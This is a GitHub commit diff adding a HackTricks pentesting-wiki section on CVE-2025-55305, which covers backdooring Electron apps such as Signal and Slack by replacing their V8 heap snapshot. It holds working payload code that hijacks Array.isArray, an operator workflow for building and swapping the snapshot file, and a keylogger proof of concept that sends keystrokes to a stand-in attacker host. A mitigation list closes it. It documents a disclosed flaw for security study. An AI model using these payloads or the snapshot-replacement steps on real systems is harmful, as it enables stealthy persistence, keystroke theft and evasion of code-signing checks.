Skip to content

Commit bb54645

Browse files
authored
Merge pull request #1385 from HackTricks-wiki/update_Subverting_code_integrity_checks_to_locally_backdo_20250904_182820
Subverting code integrity checks to locally backdoor Signal,...
2 parents 60bb4b1 + e176358 commit bb54645

1 file changed

Lines changed: 116 additions & 0 deletions

File tree

  • src/network-services-pentesting/pentesting-web/electron-desktop-apps

src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -479,8 +479,124 @@ npm install
479479
npm start
480480
```
481481

482+
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
483+
484+
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
485+
486+
Key points
487+
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
488+
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
489+
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
490+
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
491+
492+
Generating a malicious snapshot without building Chromium
493+
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
494+
495+
Example minimal payload (prove execution by forcing a crash)
496+
```js
497+
// Build snapshot from this payload
498+
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
499+
// Replace the application’s v8_context_snapshot.bin with the generated file
500+
501+
const orig = Array.isArray;
502+
503+
// Use Array.isArray as a ubiquitous gadget
504+
Array.isArray = function () {
505+
// Executed whenever the app calls Array.isArray
506+
throw new Error("testing isArray gadget");
507+
};
508+
```
509+
510+
Isolate-aware payload routing (run different code in main vs. renderer)
511+
- Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate.
512+
- Browser/renderer detection: Browser-only globals like alert are available when running in a document context.
513+
514+
Example gadget that probes main-process Node capabilities once
515+
```js
516+
const orig = Array.isArray;
517+
518+
Array.isArray = function() {
519+
// Defer until we land in main (has Node process)
520+
try {
521+
if (!process || !process.pid) {
522+
return orig(...arguments);
523+
}
524+
} catch (_) {
525+
return orig(...arguments);
526+
}
527+
528+
// Run once
529+
if (!globalThis._invoke_lock) {
530+
globalThis._invoke_lock = true;
531+
console.log('[payload] isArray hook started ...');
532+
533+
// Capability probing in main
534+
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
535+
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
536+
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
537+
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
538+
process.exit(0);
539+
}
540+
return orig(...arguments);
541+
};
542+
```
543+
544+
Renderer/browser-context data theft PoC (e.g., Slack)
545+
```js
546+
const orig = Array.isArray;
547+
Array.isArray = function() {
548+
// Wait for a browser context
549+
try {
550+
if (!alert) {
551+
return orig(...arguments);
552+
}
553+
} catch (_) {
554+
return orig(...arguments);
555+
}
556+
557+
if (!globalThis._invoke_lock) {
558+
globalThis._invoke_lock = true;
559+
setInterval(() => {
560+
window.onkeydown = (e) => {
561+
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
562+
}
563+
}, 1000);
564+
}
565+
return orig(...arguments);
566+
};
567+
```
568+
569+
Operator workflow
570+
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
571+
2) Build the snapshot without Chromium sources:
572+
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
573+
3) Overwrite the target application’s snapshot file(s):
574+
- v8_context_snapshot.bin (always used)
575+
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
576+
4) Launch the application; the gadget executes whenever the chosen builtin is used.
577+
578+
Notes and considerations
579+
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
580+
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
581+
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
582+
583+
Detection and mitigations
584+
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
585+
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
586+
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
587+
482588
## **References**
483589

590+
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
591+
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
592+
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
593+
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
594+
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
595+
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
596+
- [Loki C2](https://github.com/boku7/Loki/)
597+
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
598+
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
599+
484600
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
485601
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
486602
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)

0 commit comments

Comments
 (0)